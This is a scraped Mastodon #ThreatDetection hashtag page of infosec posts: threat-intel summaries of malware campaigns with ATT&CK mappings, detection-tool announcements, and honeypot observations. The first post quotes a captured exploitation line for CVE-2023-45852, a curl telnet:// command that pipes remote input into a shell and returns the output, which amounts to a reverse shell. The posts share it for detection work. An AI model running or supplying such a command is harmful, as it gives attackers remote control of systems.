Niels Heinen<p>First time I'm seeing curl being used with telnet:// to fetch a payload. Found in an exploitation of CVE-2023-45852</p><p>C='curl -Ns telnet://x.x.x.x:4444'; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null</p><p><a href="https://infosec.exchange/tags/dfir" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>dfir</span></a> <a href="https://infosec.exchange/tags/infosec" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>infosec</span></a> <a href="https://infosec.exchange/tags/exploit" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>exploit</span></a> <a href="https://infosec.exchange/tags/honeypot" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>honeypot</span></a> <a href="https://infosec.exchange/tags/threatdetection" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>threatdetection</span></a></p>
Recent searches
No recent searches
Search options
Only available when logged in.
okla.social is one of the many independent Mastodon servers you can use to participate in the fediverse.
Oklahoma... we're trying ya'll
Administered by:
Server stats:
34active users
okla.social: About · Status · Profiles directory · Privacy policy
Mastodon: About · Get the app · Keyboard shortcuts · View source code · v4.3.6
#ThreatDetection
2 posts · 2 participants · 0 posts today
Tedi Heriyanto<p>The AI-Powered Detection Engineer: <a href="https://www.detectionatscale.com/p/the-ai-powered-detection-engineer" rel="nofollow noopener noreferrer" translate="no" target="_blank"><span class="invisible">https://www.</span><span class="ellipsis">detectionatscale.com/p/the-ai-</span><span class="invisible">powered-detection-engineer</span></a></p><p><a href="https://infosec.exchange/tags/threatdetection" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>threatdetection</span></a> <a href="https://infosec.exchange/tags/AIpowered" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>AIpowered</span></a></p>
Josh Lemon<p><a href="https://infosec.exchange/tags/BYOVD" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>BYOVD</span></a> attacks are slowly becoming more common for threat actors to escalate privilege and kill security tools.<br>Make sure you're <a href="https://infosec.exchange/tags/ThreatHunting" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>ThreatHunting</span></a> for new Vulnerable Drivers!<br>Win 11 now has a Vulnerable Driver Blocklist feature, however, it's only updated in major updates so you still need to monitor for recently discovered Vulnerable Drivers.</p><p>Recent Vuln Driver: <a href="https://www.bleepingcomputer.com/news/security/ransomware-gangs-exploit-paragon-partition-manager-bug-in-byovd-attacks/" rel="nofollow noopener noreferrer" translate="no" target="_blank"><span class="invisible">https://www.</span><span class="ellipsis">bleepingcomputer.com/news/secu</span><span class="invisible">rity/ransomware-gangs-exploit-paragon-partition-manager-bug-in-byovd-attacks/</span></a></p><p>Known Vuln Drivers: <a href="https://www.loldrivers.io/" rel="nofollow noopener noreferrer" translate="no" target="_blank"><span class="invisible">https://www.</span><span class="">loldrivers.io/</span><span class="invisible"></span></a></p><p>Vuln Driver Blocklist: <a href="https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules" rel="nofollow noopener noreferrer" translate="no" target="_blank"><span class="invisible">https://</span><span class="ellipsis">learn.microsoft.com/en-us/wind</span><span class="invisible">ows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules</span></a></p><p><a href="https://infosec.exchange/tags/IncidentResponse" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>IncidentResponse</span></a> <a href="https://infosec.exchange/tags/ransomware" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>ransomware</span></a> <a href="https://infosec.exchange/tags/ThreatDetection" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>ThreatDetection</span></a></p>
Just Another Blue Teamer<p>Good day everyone!</p><p>An APT group known as Angry Likho (a.k.a. Sticky Werewolf) is being monitored by Kaspersky's Securelist researchers and they have identified hundreds of victims of a recent attack in Russia, several in Belarus, and additional incidents in other countries. They used an age-old technique of spear-phishing to gain initial access that had various attachments that would contain the legitimate bait file as well as other files, in some cases malicious LNK files. Execution would lead to a newly discovered implant named FrameworkSurvivor.exe.</p><p>As usual, check out all the juicy details that I left out and enjoy the read! Happy Hunting!</p><p>Angry Likho: Old beasts in a new forest<br><a href="https://securelist.com/angry-likho-apt-attacks-with-lumma-stealer/115663/" rel="nofollow noopener noreferrer" translate="no" target="_blank"><span class="invisible">https://</span><span class="ellipsis">securelist.com/angry-likho-apt</span><span class="invisible">-attacks-with-lumma-stealer/115663/</span></a></p><p>Intel 471 Cyborg Security, Now Part of Intel 471 <a href="https://ioc.exchange/tags/ThreatIntel" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>ThreatIntel</span></a> <a href="https://ioc.exchange/tags/ThreatHunting" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>ThreatHunting</span></a> <a href="https://ioc.exchange/tags/ThreatDetection" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>ThreatDetection</span></a> <a href="https://ioc.exchange/tags/HappyHunting" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>HappyHunting</span></a> <a href="https://ioc.exchange/tags/readoftheday" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>readoftheday</span></a></p>
Just Another Blue Teamer<p>Good day everyone!</p><p>Fortinet's FortiGuard Labs discovered a new variant of the <a href="https://ioc.exchange/tags/Snake" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Snake</span></a> keylogger, a.k.a. "404 Keylogger". According to the report most of the detections from their "FortiSandbox" have come from China, Turkey, Indonesia, Taiwan, and Spain but if you aren't from these countries, you still may be a target! </p><p>Behaviors (MITRE ATT&CK):<br>Persistence - TA0003:<br>Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder - After the malware is executed and drops a copy of itself in the %Local_AppData%\supergroup directory then copies itself the the %Startup% folder. </p><p>Defense Evasion - TA0005:<br>Process Injection: Process Hollowing T1055.012 - The malware injects itself into a legitimate .NET process, in this sample it was RegSvcs.exe. This allowed it to run within a trusted process to evade detection.</p><p>Command And Control - TA0011:<br>Application Layer Protocol: Web Protocols - T1071.001<br>Application Layer Protocol: Mail Protocols - T1071.003</p><p>The malware used multiple techniques to upload stolen credentials. The researchers observed SMTP, Telegram bots, and HTTP Post requests to transmit the data.</p><p>As usual, go check out the research for yourself to check out the details that I left out and support the good work! Enjoy and Happy Hunting!</p><p>FortiSandbox 5.0 Detects Evolving Snake Keylogger Variant<br><a href="https://www.fortinet.com/blog/threat-research/fortisandbox-detects-evolving-snake-keylogger-variant" rel="nofollow noopener noreferrer" translate="no" target="_blank"><span class="invisible">https://www.</span><span class="ellipsis">fortinet.com/blog/threat-resea</span><span class="invisible">rch/fortisandbox-detects-evolving-snake-keylogger-variant</span></a></p><p>Intel 471 Cyborg Security, Now Part of Intel 471 <a href="https://ioc.exchange/tags/ThreatIntel" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>ThreatIntel</span></a> <a href="https://ioc.exchange/tags/ThreatHunting" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>ThreatHunting</span></a> <a href="https://ioc.exchange/tags/ThreatDetection" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>ThreatDetection</span></a> <a href="https://ioc.exchange/tags/HappyHunting" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>HappyHunting</span></a> <a href="https://ioc.exchange/tags/readoftheday" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>readoftheday</span></a></p>
Anthony Kraudelt<p>Cyber threats are more sophisticated than ever, making it critical for businesses to stay ahead of potential attacks. Not knowing, or thinking ignorance is bliss, isn't an option. Cyber Threat Intelligence (CTI) empowers organizations with the insights needed to identify, analyze, and mitigate risks before they cause significant damage.</p><p>By leveraging CTI, businesses can proactively detect vulnerabilities, understand emerging threats, and anticipate attack patterns. Instead of reacting to breaches after they occur, organizations can take a proactive approach—strengthening security measures, reducing downtime, and minimizing financial and reputational losses.</p><p>To maximize CTI’s effectiveness, companies should integrate threat intelligence into their security operations, incident response, and risk management strategies. Automated security tools, such as SIEM and threat intelligence platforms, can help correlate CTI data with real-time network activity, enabling faster threat detection and response. Additionally, collaborating with industry peers and sharing intelligence enhances collective defense against cyber adversaries.</p><p>Staying informed and prepared is not optional—it’s a necessity. Cyber Threat Intelligence helps businesses stay one step ahead of attackers, ensuring a stronger, more resilient security posture. Invest in CTI to protect your company’s future.</p><p><a href="https://infosec.exchange/tags/CyberThreatIntelligence" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>CyberThreatIntelligence</span></a> <a href="https://infosec.exchange/tags/CyberSecurity" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>CyberSecurity</span></a> <a href="https://infosec.exchange/tags/ThreatDetection" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>ThreatDetection</span></a> <a href="https://infosec.exchange/tags/ProactiveDefense" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>ProactiveDefense</span></a></p>
Just Another Blue Teamer<p>Good day everyone, new Blizzard has dropped!</p><p>Microsoft's Threat Intelligence shares their research on a Russian state actor dubbed <a href="https://ioc.exchange/tags/SeashellBlizzard" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>SeashellBlizzard</span></a>! Part of the GRU, they specialize in operations from espionage to information operation and cyber-enabled disruptions which have resulted in destructive attacks and manipulation of ICS. They have leveraged different types of malware to include <a href="https://ioc.exchange/tags/KillDisk" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>KillDisk</span></a>, <a href="https://ioc.exchange/tags/FoxBlade" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>FoxBlade</span></a>, and <a href="https://ioc.exchange/tags/NotPetya" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>NotPetya</span></a>. </p><p>Behavior Summary (With MITRE ATT&CK):<br>Initial Access - TA0001:<br>Exploit Public-Facing Application - T1190<br>Seashell Blizzard commonly exploited vulnerable public facing infrastructure. </p><p>Persistence - TA0003:<br>Create or Modify System Process: Windows Service - T1543.003 -<br>Among other means of persistence, Seashell Blizzard created a system service.</p><p>Execution - TA0002:<br>Command and Scripting Interpreter: PowerShell - T1059.001<br>Command and Scripting Interpreter: Windows Command Shell - T1059.003<br>Seashell Blizzard abused both of these living off the land binaries for multiple reasons and using multiple different parameters. </p><p>As always, there is WAAAAY too many technical details here, so go check it out yourself! Enjoy the read and Happy Hunting!</p><p>The BadPilot campaign: Seashell Blizzard subgroup conducts multiyear global access operation<br><a href="https://www.microsoft.com/en-us/security/blog/2025/02/12/the-badpilot-campaign-seashell-blizzard-subgroup-conducts-multiyear-global-access-operation/" rel="nofollow noopener noreferrer" translate="no" target="_blank"><span class="invisible">https://www.</span><span class="ellipsis">microsoft.com/en-us/security/b</span><span class="invisible">log/2025/02/12/the-badpilot-campaign-seashell-blizzard-subgroup-conducts-multiyear-global-access-operation/</span></a></p><p>Intel 471 Cyborg Security, Now Part of Intel 471 <a href="https://ioc.exchange/tags/ThreatIntel" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>ThreatIntel</span></a> <a href="https://ioc.exchange/tags/ThreatHunting" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>ThreatHunting</span></a> <a href="https://ioc.exchange/tags/ThreatDetection" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>ThreatDetection</span></a> <a href="https://ioc.exchange/tags/HappyHunting" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>HappyHunting</span></a> <a href="https://ioc.exchange/tags/readoftheday" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>readoftheday</span></a></p>
Josh Lemon<p>Join me for SANS Institute <a href="https://infosec.exchange/tags/Perth" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Perth</span></a> Community Night today!</p><p>📋 Registration<br>Thrus, 13 Feb 2025<br>5:30pm – 6pm</p><p>🎤 Presentation<br>6pm – 7pm</p><p>Register Here: <a href="https://www.sans.org/mlp/community-night-perth-february-2025/" rel="nofollow noopener noreferrer" translate="no" target="_blank"><span class="invisible">https://www.</span><span class="ellipsis">sans.org/mlp/community-night-p</span><span class="invisible">erth-february-2025/</span></a></p><p>📍The Pan Pacific Perth Hotel, 207 Adelaide Terrace, Perth WA 6000</p><p>I'll be presenting a review of the SANS 2024 Detection & Response Survey I authored last year. It should be a fun and casual presentation on the current state of <a href="https://infosec.exchange/tags/ThreatDetection" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>ThreatDetection</span></a> and <a href="https://infosec.exchange/tags/IncidentResponse" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>IncidentResponse</span></a> in our industry.</p><p><a href="https://infosec.exchange/tags/AI" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>AI</span></a> <a href="https://infosec.exchange/tags/DFIR" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>DFIR</span></a> <a href="https://infosec.exchange/tags/CyberSecurity" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>CyberSecurity</span></a> <a href="https://infosec.exchange/tags/SOC" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>SOC</span></a></p>
Tedi Heriyanto<p>Detection Engineering with SIGMA Rules!: <a href="https://youtu.be/vnlF4nZ2AL4" rel="nofollow noopener noreferrer" translate="no" target="_blank"><span class="invisible">https://</span><span class="">youtu.be/vnlF4nZ2AL4</span><span class="invisible"></span></a></p><p><a href="https://infosec.exchange/tags/detectionengineering" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>detectionengineering</span></a> <a href="https://infosec.exchange/tags/threatdetection" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>threatdetection</span></a> <a href="https://infosec.exchange/tags/sigma" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>sigma</span></a></p>
Tedi Heriyanto<p>Sigma Rules: Your Guide to Threat Detection’s Open Standard: <a href="https://panther.com/blog/your-guide-to-the-sigma-rules-open-standard-for-threat-detection" rel="nofollow noopener noreferrer" translate="no" target="_blank"><span class="invisible">https://</span><span class="ellipsis">panther.com/blog/your-guide-to</span><span class="invisible">-the-sigma-rules-open-standard-for-threat-detection</span></a></p><p><a href="https://infosec.exchange/tags/siem" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>siem</span></a> <a href="https://infosec.exchange/tags/sigma" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>sigma</span></a> <a href="https://infosec.exchange/tags/logfiles" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>logfiles</span></a> <a href="https://infosec.exchange/tags/threatdetection" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>threatdetection</span></a></p>
Kunai Project<p>🚀 Kunai pushes further integration with MISP!</p><p>This week, we've made significant progress in bridging Kunai with <span class="h-card" translate="no"><a href="https://misp-community.org/@misp" class="u-url mention" rel="nofollow noopener noreferrer" target="_blank">@<span>misp</span></a></span> to enhance threat intelligence sharing. Our focus has been on developing kunai-to-misp, a new tool available at <a href="https://github.com/kunai-project/pykunai" rel="nofollow noopener noreferrer" translate="no" target="_blank"><span class="invisible">https://</span><span class="ellipsis">github.com/kunai-project/pykun</span><span class="invisible">ai</span></a>, which processes Kunai logs and creates MISP events to streamline collaboration.</p><p>With this, it is now possible to both update MISP from Kunai and feed Kunai from MISP using the misp-to-kunai tool. Here's a practical workflow example:</p><p>1️⃣ Analyze a <a href="https://infosec.exchange/tags/linux" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>linux</span></a> malware sample with Kunai Sandbox (<a href="https://github.com/kunai-project/sandbox" rel="nofollow noopener noreferrer" translate="no" target="_blank"><span class="invisible">https://</span><span class="ellipsis">github.com/kunai-project/sandb</span><span class="invisible">ox</span></a>)<br>2️⃣ Use kunai-to-misp on the collected Kunai logs<br>3️⃣ (Optional) Review attributes' IDS flag to maximize detections and reduce false positives<br>4️⃣ Use misp-to-kunai to distribute the results across all Kunai endpoints</p><p>Additionally, we're leveraging MISP’s data model to craft meaningful MISP objects and relationships, offering a clear visual representation of events inside MISP.</p><p>🔗 Try it out and let us know what you think!</p><p><a href="https://infosec.exchange/tags/opensource" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>opensource</span></a> <a href="https://infosec.exchange/tags/threatintel" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>threatintel</span></a> <a href="https://infosec.exchange/tags/threatdetection" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>threatdetection</span></a> <a href="https://infosec.exchange/tags/cyberdefense" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>cyberdefense</span></a> <a href="https://infosec.exchange/tags/dfir" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>dfir</span></a> <a href="https://infosec.exchange/tags/detectionengineering" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>detectionengineering</span></a></p>
Just Another Blue Teamer<p>Happy Wednesday everyone!</p><p>The <a href="https://ioc.exchange/tags/AsyncRAT" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>AsyncRAT</span></a> is made headlines in a report published by the Forcepoint X-Labs research team. A significant finding was that the malware leveraged payloads delivered through suspicious TryCloudflare quick tunnels and Python packages. While I am familiar with Python packages being weaponized during a supply chain attack, the topic of quick tunnels eluded me. So, I looked it up and found that "Developers can use the TryCloudflare tool to experiment with Cloudflare Tunnel without adding a site to Cloudflare's DNS. TryCloudflare will launch a process that generates a random subdomain on trycloudflare.com. Requests to that subdomain will be proxied through the Cloudflare network to your web server running on localhost." [<a href="https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/" rel="nofollow noopener noreferrer" translate="no" target="_blank"><span class="invisible">https://</span><span class="ellipsis">developers.cloudflare.com/clou</span><span class="invisible">dflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/</span></a>]</p><p> This was interesting as it seemed to be a workaround or possibly a replacement for domain generating algorithms (DGAs). And if I am misunderstanding this technology, someone please enlighten me! </p><p>Behaviors:<br>Initial Access:<br>Phishing: Spearphising Link - T1566.002</p><p>Execution:<br>Command And Scripting Interpreter: JavaScript - T1059.007<br>- A javascript was executed after an LNK file was delivered and executed and links to a .BAT file. </p><p>Command And Scripting Interpreter: Windows Command Shell - T1059.003<br>- A .BAT file is executed that leads to another zip file that contains a python script used to execute the AsyncRAT malware.</p><p>Command And Scripting Interpreter: Python - T1059.006<br>- A python file is used to execute the AsyncRAT malware. </p><p>As usual, go show the authors some love and check out the details I excluded and get hunting on those behaviors! Enjoy and Happy Hunting!</p><p>AsyncRAT Reloaded: Using Python and TryCloudflare for Malware Delivery Again<br><a href="https://www.forcepoint.com/blog/x-labs/asyncrat-reloaded-python-trycloudflare-malware" rel="nofollow noopener noreferrer" translate="no" target="_blank"><span class="invisible">https://www.</span><span class="ellipsis">forcepoint.com/blog/x-labs/asy</span><span class="invisible">ncrat-reloaded-python-trycloudflare-malware</span></a></p><p>Intel 471 Cyborg Security, Now Part of Intel 471 <a href="https://ioc.exchange/tags/ThreatIntel" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>ThreatIntel</span></a> <a href="https://ioc.exchange/tags/ThreatHunting" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>ThreatHunting</span></a> <a href="https://ioc.exchange/tags/ThreatDetection" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>ThreatDetection</span></a> <a href="https://ioc.exchange/tags/HappyHunting" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>HappyHunting</span></a> <a href="https://ioc.exchange/tags/readoftheday" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>readoftheday</span></a></p>
Just Another Blue Teamer<p>Happy Monday everyone!</p><p>Fortinet researchers provide us with some very helpful threat intel involving the <a href="https://ioc.exchange/tags/Coyote" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>Coyote</span></a> banking trojan that has been used in attacks targeting users in Brazil looking for sensitive information. This trojan has many capabilities which include keylogging, capturing screenshots, and can display phishing overlays to steal sensitive credentials. </p><p>Behavior Summary:</p><p>Persistence: </p><p>During the attack, the Windows Run Registry key is created to provide a persistence mechanism. MITRE ATT&CK ID: T1547.001</p><p>Execution:</p><p>The LNK file contains malicious PowerShell commands that reach out to C2 servers AND it is used later in the attack. MITRE ATT&CK ID: T1059.001</p><p>Discovery:</p><p>The antivirus is queried on the compromised system using WMI (Windows Management Instrumentation). MITRE ATT&CK ID: T1518.001.</p><p>As usual, I left out a bunch of details for you to go check out in the article, so show the authors some love and enjoy the read! Happy Hunting!</p><p>Coyote Banking Trojan: A Stealthy Attack via LNK Files</p><p><a href="https://www.fortinet.com/blog/threat-research/coyote-banking-trojan-a-stealthy-attack-via-lnk-files" rel="nofollow noopener noreferrer" translate="no" target="_blank"><span class="invisible">https://www.</span><span class="ellipsis">fortinet.com/blog/threat-resea</span><span class="invisible">rch/coyote-banking-trojan-a-stealthy-attack-via-lnk-files</span></a></p><p>Intel 471 Cyborg Security, Now Part of Intel 471 <a href="https://ioc.exchange/tags/ThreatIntel" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>ThreatIntel</span></a> <a href="https://ioc.exchange/tags/ThreatHunting" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>ThreatHunting</span></a> <a href="https://ioc.exchange/tags/ThreatDetection" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>ThreatDetection</span></a> <a href="https://ioc.exchange/tags/HappyHunting" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>HappyHunting</span></a> <a href="https://ioc.exchange/tags/readoftheday" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>readoftheday</span></a></p>
Niels Heinen<p>Can someone confirm, is this exploitation of CVE-2023-22522 ? First time seeing this today so I will create proper rules in Lophiid to start interaction with future exploitation attempts</p><p><a href="https://infosec.exchange/tags/honeypot" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>honeypot</span></a> <a href="https://infosec.exchange/tags/infosec" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>infosec</span></a> <a href="https://infosec.exchange/tags/threatdetection" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>threatdetection</span></a> <a href="https://infosec.exchange/tags/dfir" class="mention hashtag" rel="nofollow noopener noreferrer" target="_blank">#<span>dfir</span></a></p>
ExploreLive feeds
Mastodon is the best way to keep up with what's happening.
Follow anyone across the fediverse and see it all in chronological order. No algorithms, ads, or clickbait in sight.
Create accountLoginDrag & drop to upload